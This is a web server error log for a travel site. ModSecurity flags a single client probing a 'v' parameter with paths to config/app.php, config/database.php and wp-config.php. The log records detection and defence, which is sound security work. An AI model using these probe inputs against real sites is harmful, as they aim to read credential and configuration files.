[Fri Jul 17 08:55:44.610446 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.610660 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguEgVnBK6wAv37w6sbQAAABQ"]
[Fri Jul 17 08:55:44.616363 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.626114 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: 0pug4/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguBAi3pC6yjXGNq2AkgAAAAU"]
[Fri Jul 17 08:55:44.626344 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguFh1WDijTxd1xw5MWgAAAAc"]
[Fri Jul 17 08:55:44.626728 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguBAi3pC6yjXGNq2AkgAAAAU"]
[Fri Jul 17 08:55:44.626860 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.626923 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguFh1WDijTxd1xw5MWgAAAAc"]
[Fri Jul 17 08:55:44.626992 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguBAi3pC6yjXGNq2AkgAAAAU"]
[Fri Jul 17 08:55:44.627019 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.627158 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguFh1WDijTxd1xw5MWgAAAAc"]
[Fri Jul 17 08:55:44.654845 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: 852w0/config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguARRrtuZqNDDSqWwLwAAABo"]
[Fri Jul 17 08:55:44.655795 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguARRrtuZqNDDSqWwLwAAABo"]
[Fri Jul 17 08:55:44.656004 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.656246 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguARRrtuZqNDDSqWwLwAAABo"]
[Fri Jul 17 08:55:44.656757 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:v: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguDsMb3am0TgkjETa1AAAAAo"]
[Fri Jul 17 08:55:44.657418 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/config"] [unique_id "almguDsMb3am0TgkjETa1AAAAAo"]
[Fri Jul 17 08:55:44.657556 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.657701 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguDsMb3am0TgkjETa1AAAAAo"]
[Fri Jul 17 08:55:44.664735 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.675182 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.675359 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.704851 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.712739 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.719906 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.729092 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.730959 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.754065 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.767267 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.774789 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.783173 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.787720 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.803202 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.814239 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: ul050/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguBAi3pC6yjXGNq2AlQAAAAU"]
[Fri Jul 17 08:55:44.814808 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguBAi3pC6yjXGNq2AlQAAAAU"]
[Fri Jul 17 08:55:44.814921 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.815074 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguBAi3pC6yjXGNq2AlQAAAAU"]
[Fri Jul 17 08:55:44.827876 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:v: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguDsMb3am0TgkjETa1wAAAAo"]
[Fri Jul 17 08:55:44.828725 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguDsMb3am0TgkjETa1wAAAAo"]
[Fri Jul 17 08:55:44.828882 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.829071 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguDsMb3am0TgkjETa1wAAAAo"]
[Fri Jul 17 08:55:44.829200 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: 2meow/config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguARRrtuZqNDDSqWwMgAAABo"]
[Fri Jul 17 08:55:44.829774 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguARRrtuZqNDDSqWwMgAAABo"]
[Fri Jul 17 08:55:44.829899 2026] [hostinglimits:warn] [pid 2013830:tid 2013830] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013830) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:44.830012 2026] [security2:error] [pid 2013830:tid 2013830] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almguARRrtuZqNDDSqWwMgAAABo"]
[Fri Jul 17 08:55:44.832860 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:v. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:v: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguI1dLClkUfK_dfHk4gAAAAI"]
[Fri Jul 17 08:55:44.833457 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/api/config"] [unique_id "almguI1dLClkUfK_dfHk4gAAAAI"]
[Fri Jul 17 08:55:44.833578 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
